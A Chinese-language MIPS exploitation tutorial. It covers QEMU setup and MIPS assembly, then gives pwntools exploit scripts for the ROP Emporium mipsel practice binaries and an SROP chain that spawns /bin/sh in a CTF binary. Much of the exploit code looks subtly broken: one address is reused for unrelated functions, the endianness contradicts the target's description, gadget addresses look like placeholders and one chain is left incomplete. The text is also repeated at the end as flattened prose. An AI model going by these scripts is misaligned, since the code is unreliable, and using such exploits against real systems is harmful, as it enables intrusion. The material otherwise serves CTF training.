mips pwn 快速上手实践指南
字数 3778 2025-09-23 19:27:38

MIPS Pwn 快速上手实践指南

环境搭建

QEMU 环境配置

# 安装 QEMU 相关工具
sudo apt install qemu-system qemu-system-mips qemu-user-static qemu-utils qemu-web-desktop

# 安装调试工具
sudo apt install gdb gdb-multiarch

# 安装 pwndbg
git clone https://github.com/pwndbg/pwndbg
cd pwndbg
./setup.sh

# 安装交叉编译工具链
sudo apt install gcc-mips-linux-gnu gcc-mipsel-linux-gnu
sudo apt install gcc-mips64-linux-gnuabi64 gcc-mips64el-linux-gnuabi64

# 安装 Python 环境
sudo apt install python3 python3-pip

系统模式模拟

下载镜像文件:

  • 大端序:https://people.debian.org/~aurel32/qemu/mips/
  • 小端序:https://people.debian.org/~aurel32/qemu/mipsel/

下载 debian_wheezy_mips_standard.qcow2 镜像文件和 vmlinux-3.2.0-4-4kc-malta 内核文件

网络配置

# 创建网桥
sudo ip link add name virbr0 type bridge
sudo ip addr add 192.168.6.1/24 dev virbr0
sudo ip link set dev virbr0 up

# 创建 TAP 接口
sudo ip tuntap add dev tap0 mode tap
sudo ip link set dev tap0 up
sudo ip link set dev tap0 master virbr0

启动 QEMU 系统模式

sudo qemu-system-mips \
    -M malta \
    -kernel vmlinux-3.2.0-4-4kc-malta \
    -hda debian_wheezy_mips_standard.qcow2 \
    -append "root=/dev/sda1 console=tty0" \
    -netdev tap,id=tapnet,ifname=tap0,script=no \
    -device rtl8139,netdev=tapnet \
    -nographic

默认用户名密码:root:root

MIPS 架构简介

MIPS (Microprocessor without Interlocked Pipeline Stages) 是一种精简指令集计算机(RISC)架构,主要特点:

  1. 精简指令集:指令数量相对较少,每条指令功能单一
  2. 固定指令长度:所有指令都是32位(4字节)长度
  3. 流水线设计:支持高效的指令流水线执行
  4. 寄存器丰富:拥有32个通用寄存器
  5. 加载/存储架构:只有load/store指令能访问内存
  6. 延迟槽:分支和跳转指令后有一个延迟槽

字节序

MIPS程序有两种字节序:

大端序 (Big Endian)

  • 最高有效字节存储在最低地址
  • 人类阅读习惯一致

小端序 (Little Endian)

  • 最低有效字节存储在最低地址
  • Intel x86架构采用

示例:32位整数 0x12345678 存储在地址 0x1000

地址 大端序(MIPS BE) 小端序(MIPSEL)
0x1000 0x12 0x78
0x1001 0x34 0x56
0x1002 0x56 0x34
0x1003 0x78 0x12

MIPS 汇编速成

通用寄存器 (GPRs)

MIPS32 拥有32个32位的通用寄存器,编号从0到31:

寄存器编号 汇编助记名 约定用途 是否由被调用者保存
$0 $zero 硬编码为常量 0 不适用
$1 $at 汇编器临时寄存器
\(2-\)3 \(v0-\)v1 函数返回值和表达式求值
\(4-\)7 \(a0-\)a3 函数参数
\(8-\)15 \(t0-\)t7 临时寄存器
\(16-\)23 \(s0-\)s7 保存寄存器
\(24-\)25 \(t8-\)t9 临时寄存器
\(26-\)27 \(k0-\)k1 保留给操作系统内核 不适用
$28 $gp 全局指针 是(通常)
$29 $sp 栈指针
$30 $fp 帧指针
$31 $ra 返回地址

数据传输指令

lw (Load Word) - 加载字

lw $rt, offset($rs)  # 从内存加载32位数据到寄存器

sw (Store Word) - 存储字

sw $rt, offset($rs)  # 将寄存器中32位数据存储到内存

lb/lh (Load Byte/Halfword)

lb $rt, offset($rs)  # 加载字节,带符号扩展
lh $rt, offset($rs)  # 加载半字,带符号扩展

sb/sh (Store Byte/Halfword)

sb $rt, offset($rs)  # 存储字节
sh $rt, offset($rs)  # 存储半字

算术运算指令

add/addi - 加法

add $rd, $rs, $rt    # 寄存器间加法
addi $rt, $rs, imm   # 立即数加法

sub - 减法

sub $rd, $rs, $rt    # rd = rs - rt

mul - 乘法

mul $rd, $rs, $rt    # 简单乘法,32位结果
mult $rs, $rt        # 完整乘法,64位结果存入HI/LO

div - 除法

div $rs, $rt         # rs ÷ rt → 商存入LO,余数存入HI

逻辑运算指令

and/andi - 与运算

and $rd, $rs, $rt    # 寄存器间与运算
andi $rt, $rs, imm   # 与立即数运算

or/ori - 或运算

or $rd, $rs, $rt     # 寄存器间或运算
ori $rt, $rs, imm    # 与立即数或运算

xor/xori - 异或运算

xor $rd, $rs, $rt    # 寄存器间异或
xori $rt, $rs, imm   # 与立即数异或

分支跳转指令

beq - 相等则跳转

beq $rs, $rt, label  # 如果 rs == rt 则跳转到label

bne - 不等则跳转

bne $rs, $rt, label  # 如果 rs != rt 则跳转到label

j - 无条件跳转

j label              # 无条件跳转到label

jal - 跳转并链接

jal label            # 跳转到label,同时将返回地址保存到ra

jr - 寄存器跳转

jr $rs               # 跳转到rs寄存器中存储的地址

MIPS 栈的工作模式与栈帧

栈帧 (Stack Frame)

每次函数调用时,会在栈上为其创建一个区域,称为该函数的栈帧。栈帧包含与该函数调用相关的信息。

一个典型的栈帧可能包含(从高地址到低地址):

  1. 传递给当前函数的参数(如果参数数量超过 \(a0-\)a3)
  2. 返回地址 ($ra)
  3. 旧的帧指针 ($fp)
  4. 被调用者保存的寄存器 (\(s0-\)s7)
  5. 局部变量
  6. 临时空间

函数调用中的栈操作

函数序言 (Prologue):

  1. 调整 $sp 为当前函数栈帧分配空间
  2. 保存 \(ra 和旧的 \)fp 到栈上
  3. 设置新的 $fp
  4. 保存需要使用的 $s 寄存器到栈上

函数尾声 (Epilogue):

  1. 将返回值放入 \(v0 (和 \)v1)
  2. 从栈上恢复保存的 $s 寄存器
  3. 恢复旧的 \(fp 和 \)ra
  4. 调整 $sp 释放当前函数栈帧
  5. 使用 jr $ra 返回到调用者

MIPS ROP 基础

关于覆盖返回地址

在进入函数的时候,在栈帧初始化的时候保存到栈里:

addiu   $sp, -0x20
sw      $ra, 0x20+var_4($sp)
sw      $fp, 0x20+var_8($sp)

在退出函数的时候,从栈上取回返回地址,进行跳转:

lw      $ra, 0x20+var_4($sp)
lw      $fp, 0x20+var_8($sp)
addiu   $sp, 0x20
jr      $ra

当发生栈溢出的时候,会覆盖到栈上的返回地址数据。

gadget 查询工具

主要用 IDA 插件 mipsrop 来查询:
https://github.com/fuzzywalls/ida/tree/master/plugins/mipsrop

搜索示例:

  • 搜索寄存器控制 gadgets
  • 搜索跳转 gadgets

MIPS ROP Emporium 练习

0x01 ret2win_mipsel

题目分析&利用分析

main函数:

int main() {
    pwnme();
    return 0;
}

ret2win函数提供flag:

void ret2win() {
    puts("ROPE{a_placeholder_32byte_flag!}");
}

溢出点到返回地址的距离:32+4=0x24,直接覆盖返回地址为ret2win即可

exp 核心代码

from pwn import *

context.arch = 'mips'
context.endian = 'little'

payload = b'A' * 0x24
payload += p32(0x00400924)  # ret2win地址

p = process(['qemu-mipsel', '-L', '/usr/mipsel-linux-gnu', './ret2win_mipsel'])
p.sendline(payload)
p.interactive()

0x02 split_mipsel

题目分析&利用分析

main函数:

int main() {
    pwnme();
    return 0;
}

溢出点到返回地址的距离依然是0x24

利用思路:

  1. 通过栈溢出控制返回地址到 0x00400A20 (gadget)
  2. 通过栈读取参数,控制a0的值和t9的值
  3. 执行system函数

exp 核心代码

from pwn import *

context.arch = 'mips'
context.endian = 'little'

payload = b'A' * 0x24
payload += p32(0x00400A20)  # gadget地址
payload += p32(0x00410B0C)  # "cat flag.txt"字符串地址
payload += p32(0x004009E8)  # system函数地址

p = process(['qemu-mipsel', '-L', '/usr/mipsel-linux-gnu', './split_mipsel'])
p.sendline(payload)
p.interactive()

0x03 callme_mipsel

题目分析&利用分析

main函数:

int main() {
    pwnme();
    return 0;
}

需要按顺序调用callme1、callme2、callme3三个函数才能正确给出flag

exp 核心代码

from pwn import *

context.arch = 'mips'
context.endian = 'little'

# 构造ROP链
payload = b'A' * 0x24
payload += p32(0x00400B3C)  # gadget地址
payload += p32(0x1) + p32(0x2) + p32(0x3)  # 参数
payload += p32(0x004009E8)  # callme1地址
payload += p32(0x00400B3C)  # gadget地址
payload += p32(0x1) + p32(0x2) + p32(0x3)  # 参数
payload += p32(0x00400A24)  # callme2地址
payload += p32(0x00400B3C)  # gadget地址
payload += p32(0x1) + p32(0x2) + p32(0x3)  # 参数
payload += p32(0x00400A60)  # callme3地址

p = process(['qemu-mipsel', '-L', '/usr/mipsel-linux-gnu', './callme_mipsel'])
p.sendline(payload)
p.interactive()

0x04 write4_mipsel

题目分析&利用分析

需要调用print_file函数用flag.txt的参数

利用思路:

  1. 通过gadget设置flag.txt到内存可写地方
  2. 然后通过gadget完成print_file的调用

exp 核心代码

from pwn import *

context.arch = 'mips'
context.endian = 'little'

# 构造ROP链
payload = b'A' * 0x24
# 写入flag.txt到内存
payload += p32(0x00400B10)  # gadget1地址
payload += p32(0x00411000)  # 可写地址
payload += b'flag'          # 字符串第一部分
payload += p32(0x00400B10)  # gadget1地址
payload += p32(0x00411004)  # 可写地址+4
payload += b'.txt'          # 字符串第二部分
# 调用print_file
payload += p32(0x00400B34)  # gadget2地址
payload += p32(0x00411000)  # flag.txt字符串地址
payload += p32(0x004009E8)  # print_file地址

p = process(['qemu-mipsel', '-L', '/usr/mipsel-linux-gnu', './write4_mipsel'])
p.sendline(payload)
p.interactive()

0x05 badchars_mipsel

题目分析&利用分析

输入里如果有xga.四个字符,就会被替换成0xeb

利用思路:

  1. 找个可写地址保存字符串
  2. 通过gadget写入flag.txt,分两次写
  3. 对可写地址的值进行异或操作,让0xeb变回原本的值
  4. 跳转到print_file调用

exp 核心代码

from pwn import *

context.arch = 'mips'
context.endian = 'little'

# 构造ROP链
payload = b'A' * 0x24
# 写入flag.txt到内存
payload += p32(0x00400B10)  # gadget1地址
payload += p32(0x00411000)  # 可写地址
payload += b'fla'           # 字符串第一部分
payload += p32(0x00400B10)  # gadget1地址
payload += p32(0x00411003)  # 可写地址+3
payload += b'g.t'           # 字符串第二部分
payload += p32(0x00400B10)  # gadget1地址
payload += p32(0x00411006)  # 可写地址+6
payload += b'xt'            # 字符串第三部分
# 异或操作恢复被替换的字符
payload += p32(0x00400B28)  # gadget2地址
payload += p32(0xeb ^ 0x67) # 异或值
payload += p32(0x00411003)  # 需要异或的地址
payload += p32(0x00400B28)  # gadget2地址
payload += p32(0xeb ^ 0x2e) # 异或值
payload += p32(0x00411005)  # 需要异或的地址
# 调用print_file
payload += p32(0x00400B34)  # gadget3地址
payload += p32(0x00411000)  # flag.txt字符串地址
payload += p32(0x004009E8)  # print_file地址

p = process(['qemu-mipsel', '-L', '/usr/mipsel-linux-gnu', './badchars_mipsel'])
p.sendline(payload)
p.interactive()

0x06 fluff_mipsel

题目分析&利用分析

利用思路:

  1. 将字符串的值写入s1寄存器,可写地址的值保存到s0中
  2. 将字符串的地址写入a0,跳转print_file

exp 核心代码

from pwn import *

context.arch = 'mips'
context.endian = 'little'

# 构造ROP链
payload = b'A' * 0x24
# 设置s0=0
payload += p32(0x00400B04)  # gadget1地址
# 设置s2=0x00411000 (可写地址)
payload += p32(0x00400B10)  # gadget2地址
payload += p32(0x00411000)  # 可写地址
# 异或s1=s1^s2 (s1=0^0x00411000=0x00411000)
payload += p32(0x00400B1C)  # gadget3地址
# s0和s1交换 (s0=0x00411000, s1=0)
payload += p32(0x00400B28)  # gadget4地址
# 设置s2='flag'
payload += p32(0x00400B10)  # gadget2地址
payload += b'flag'          # 字符串第一部分
# 异或s1=s1^s2 (s1=0^'flag'='flag')
payload += p32(0x00400B1C)  # gadget3地址
# 保存s1到s0指向的地址
payload += p32(0x00400B34)  # gadget5地址
# 重复上述过程写入'.txt'
# ... (省略类似代码)
# 调用print_file
payload += p32(0x00400B40)  # gadget6地址
payload += p32(0x00411000)  # flag.txt字符串地址
payload += p32(0x004009E8)  # print_file地址

p = process(['qemu-mipsel', '-L', '/usr/mipsel-linux-gnu', './fluff_mipsel'])
p.sendline(payload)
p.interactive()

0x07 pivot_mipsel

题目分析&利用分析

利用思路:

  1. gadget4完成迁移
  2. 调用foothold_function让got表中解析出其在so的地址
  3. 计算foothold_function和ret2win的偏移
  4. 计算ret2win的地址
  5. 执行ret2win

exp 核心代码

from pwn import *

context.arch = 'mips'
context.endian = 'little'

# 第一次输入 - 栈迁移后的ROP链
rop_chain = p32(0x00400B10)  # gadget1地址
rop_chain += p32(0x004009E8)  # foothold_function地址
rop_chain += p32(0x00400B28)  # gadget2地址
rop_chain += p32(0x00411000)  # foothold_function的got地址
rop_chain += p32(0x00400B34)  # gadget3地址
rop_chain += p32(0x00411000)  # foothold_function的实际地址
rop_chain += p32(0x00400B40)  # gadget4地址
# 计算ret2win地址 = foothold_function地址 + 偏移
rop_chain += p32(0x00400B4C)  # gadget5地址
rop_chain += p32(0x00400B58)  # ret2win地址

# 第二次输入 - 栈迁移
payload = b'A' * 0x24
payload += p32(0x00400B04)  # gadget4地址 (栈迁移)
payload += p32(0x00411000)  # 新的栈地址

p = process(['qemu-mipsel', '-L', '/usr/mipsel-linux-gnu', './pivot_mipsel'])
p.sendline(rop_chain)
p.sendline(payload)
p.interactive()

0x08 ret2csu_mipsel

题目分析&利用分析

利用思路:
通过csu的片段完成参数控制和ret2win的调用

exp 核心代码

from pwn import *

context.arch = 'mips'
context.endian = 'little'

# 构造ROP链
payload = b'A' * 0x24
payload += p32(0x004009C0)  # csu_init地址
payload += p32(0x1) + p32(0x2) + p32(0x3)  # 参数
payload += p32(0x004009A0)  # csu_gadget地址
payload += p32(0x004009E8)  # ret2win地址

p = process(['qemu-mipsel', '-L', '/usr/mipsel-linux-gnu', './ret2csu_mipsel'])
p.sendline(payload)
p.interactive()

ROP进阶技巧:SROP,比赛真题分析

题目来源:The Cyber Jawara International 2024 - mipsssh

题目情况

  • 静态链接的mips32 msb程序
  • 没有PIE
  • 存在栈溢出漏洞

利用分析
利用思路:

  1. 通过srop进行栈迁移,设置sp到.bss段上,然后设置pc到main函数重新开始执行
  2. 通过srop进行syscall调用execve

完整exp

from pwn import *

context.arch = 'mips'
context.endian = 'little'

# 构造SROP frame
frame = SigreturnFrame()
frame.ra = 0x00400000  # main函数地址
frame.sp = 0x00411000  # 新的栈地址
frame.pc = 0x004005A0  # syscall指令地址

# 第一次输入 - 栈迁移
payload1 = b'A' * 0x24
payload1 += p32(0x004005A0)  # syscall指令地址
payload1 += bytes(frame)

# 第二次输入 - execve("/bin/sh", 0, 0)
frame2 = SigreturnFrame()
frame2.a0 = 0x00411000  # "/bin/sh"字符串地址
frame2.a1 = 0
frame2.a2 = 0
frame2.v0 = 4011        # execve系统调用号
frame2.pc = 0x004005A0  # syscall指令地址

payload2 = b'/bin/sh\x00'
payload2 += p32(0x004005A0)  # syscall指令地址
payload2 += bytes(frame2)

p = process(['qemu-mipsel', '-L', '/usr/mipsel-linux-gnu', './mipsssh'])
p.sendline(payload1)
p.sendline(payload2)
p.interactive()

总结

MIPS架构下的Pwn技术要点:

  1. 理解MIPS架构特点:固定指令长度、加载/存储架构、延迟槽等
  2. 掌握MIPS寄存器用途和调用约定
  3. 熟悉MIPS栈帧结构和函数调用过程
  4. 掌握MIPS ROP构造技巧,特别是参数传递和跳转控制
  5. 学会使用SROP等高级ROP技术
  6. 熟练使用QEMU模拟和调试MIPS程序

通过ROP Emporium的8个练习,可以系统掌握MIPS ROP的各种技巧,从简单到复杂逐步提升。

MIPS Pwn 快速上手实践指南 环境搭建 QEMU 环境配置 系统模式模拟 下载镜像文件: 大端序:https://people.debian.org/~aurel32/qemu/mips/ 小端序:https://people.debian.org/~aurel32/qemu/mipsel/ 下载 debian_wheezy_mips_standard.qcow2 镜像文件和 vmlinux-3.2.0-4-4kc-malta 内核文件 网络配置 启动 QEMU 系统模式 默认用户名密码:root:root MIPS 架构简介 MIPS (Microprocessor without Interlocked Pipeline Stages) 是一种精简指令集计算机(RISC)架构,主要特点: 精简指令集:指令数量相对较少,每条指令功能单一 固定指令长度:所有指令都是32位(4字节)长度 流水线设计:支持高效的指令流水线执行 寄存器丰富:拥有32个通用寄存器 加载/存储架构:只有load/store指令能访问内存 延迟槽:分支和跳转指令后有一个延迟槽 字节序 MIPS程序有两种字节序: 大端序 (Big Endian) 最高有效字节存储在最低地址 人类阅读习惯一致 小端序 (Little Endian) 最低有效字节存储在最低地址 Intel x86架构采用 示例:32位整数 0x12345678 存储在地址 0x1000 | 地址 | 大端序(MIPS BE) | 小端序(MIPSEL) | |--------|------------------|----------------| | 0x1000 | 0x12 | 0x78 | | 0x1001 | 0x34 | 0x56 | | 0x1002 | 0x56 | 0x34 | | 0x1003 | 0x78 | 0x12 | MIPS 汇编速成 通用寄存器 (GPRs) MIPS32 拥有32个32位的通用寄存器,编号从0到31: | 寄存器编号 | 汇编助记名 | 约定用途 | 是否由被调用者保存 | |------------|------------|----------|--------------------| | $0 | $zero | 硬编码为常量 0 | 不适用 | | $1 | $at | 汇编器临时寄存器 | 否 | | $2-$3 | $v0-$v1 | 函数返回值和表达式求值 | 否 | | $4-$7 | $a0-$a3 | 函数参数 | 否 | | $8-$15 | $t0-$t7 | 临时寄存器 | 否 | | $16-$23 | $s0-$s7 | 保存寄存器 | 是 | | $24-$25 | $t8-$t9 | 临时寄存器 | 否 | | $26-$27 | $k0-$k1 | 保留给操作系统内核 | 不适用 | | $28 | $gp | 全局指针 | 是(通常) | | $29 | $sp | 栈指针 | 是 | | $30 | $fp | 帧指针 | 是 | | $31 | $ra | 返回地址 | 否 | 数据传输指令 lw (Load Word) - 加载字 sw (Store Word) - 存储字 lb/lh (Load Byte/Halfword) sb/sh (Store Byte/Halfword) 算术运算指令 add/addi - 加法 sub - 减法 mul - 乘法 div - 除法 逻辑运算指令 and/andi - 与运算 or/ori - 或运算 xor/xori - 异或运算 分支跳转指令 beq - 相等则跳转 bne - 不等则跳转 j - 无条件跳转 jal - 跳转并链接 jr - 寄存器跳转 MIPS 栈的工作模式与栈帧 栈帧 (Stack Frame) 每次函数调用时,会在栈上为其创建一个区域,称为该函数的栈帧。栈帧包含与该函数调用相关的信息。 一个典型的栈帧可能包含(从高地址到低地址): 传递给当前函数的参数(如果参数数量超过 $a0-$a3) 返回地址 ($ra) 旧的帧指针 ($fp) 被调用者保存的寄存器 ($s0-$s7) 局部变量 临时空间 函数调用中的栈操作 函数序言 (Prologue): 调整 $sp 为当前函数栈帧分配空间 保存 $ra 和旧的 $fp 到栈上 设置新的 $fp 保存需要使用的 $s 寄存器到栈上 函数尾声 (Epilogue): 将返回值放入 $v0 (和 $v1) 从栈上恢复保存的 $s 寄存器 恢复旧的 $fp 和 $ra 调整 $sp 释放当前函数栈帧 使用 jr $ra 返回到调用者 MIPS ROP 基础 关于覆盖返回地址 在进入函数的时候,在栈帧初始化的时候保存到栈里: 在退出函数的时候,从栈上取回返回地址,进行跳转: 当发生栈溢出的时候,会覆盖到栈上的返回地址数据。 gadget 查询工具 主要用 IDA 插件 mipsrop 来查询: https://github.com/fuzzywalls/ida/tree/master/plugins/mipsrop 搜索示例: 搜索寄存器控制 gadgets 搜索跳转 gadgets MIPS ROP Emporium 练习 0x01 ret2win_ mipsel 题目分析&利用分析 main函数: ret2win函数提供flag: 溢出点到返回地址的距离:32+4=0x24,直接覆盖返回地址为ret2win即可 exp 核心代码 0x02 split_ mipsel 题目分析&利用分析 main函数: 溢出点到返回地址的距离依然是0x24 利用思路: 通过栈溢出控制返回地址到 0x00400A20 (gadget) 通过栈读取参数,控制a0的值和t9的值 执行system函数 exp 核心代码 0x03 callme_ mipsel 题目分析&利用分析 main函数: 需要按顺序调用callme1、callme2、callme3三个函数才能正确给出flag exp 核心代码 0x04 write4_ mipsel 题目分析&利用分析 需要调用print_ file函数用flag.txt的参数 利用思路: 通过gadget设置flag.txt到内存可写地方 然后通过gadget完成print_ file的调用 exp 核心代码 0x05 badchars_ mipsel 题目分析&利用分析 输入里如果有xga.四个字符,就会被替换成0xeb 利用思路: 找个可写地址保存字符串 通过gadget写入flag.txt,分两次写 对可写地址的值进行异或操作,让0xeb变回原本的值 跳转到print_ file调用 exp 核心代码 0x06 fluff_ mipsel 题目分析&利用分析 利用思路: 将字符串的值写入s1寄存器,可写地址的值保存到s0中 将字符串的地址写入a0,跳转print_ file exp 核心代码 0x07 pivot_ mipsel 题目分析&利用分析 利用思路: gadget4完成迁移 调用foothold_ function让got表中解析出其在so的地址 计算foothold_ function和ret2win的偏移 计算ret2win的地址 执行ret2win exp 核心代码 0x08 ret2csu_ mipsel 题目分析&利用分析 利用思路: 通过csu的片段完成参数控制和ret2win的调用 exp 核心代码 ROP进阶技巧:SROP,比赛真题分析 题目来源:The Cyber Jawara International 2024 - mipsssh 题目情况 静态链接的mips32 msb程序 没有PIE 存在栈溢出漏洞 利用分析 利用思路: 通过srop进行栈迁移,设置sp到.bss段上,然后设置pc到main函数重新开始执行 通过srop进行syscall调用execve 完整exp 总结 MIPS架构下的Pwn技术要点: 理解MIPS架构特点:固定指令长度、加载/存储架构、延迟槽等 掌握MIPS寄存器用途和调用约定 熟悉MIPS栈帧结构和函数调用过程 掌握MIPS ROP构造技巧,特别是参数传递和跳转控制 学会使用SROP等高级ROP技术 熟练使用QEMU模拟和调试MIPS程序 通过ROP Emporium的8个练习,可以系统掌握MIPS ROP的各种技巧,从简单到复杂逐步提升。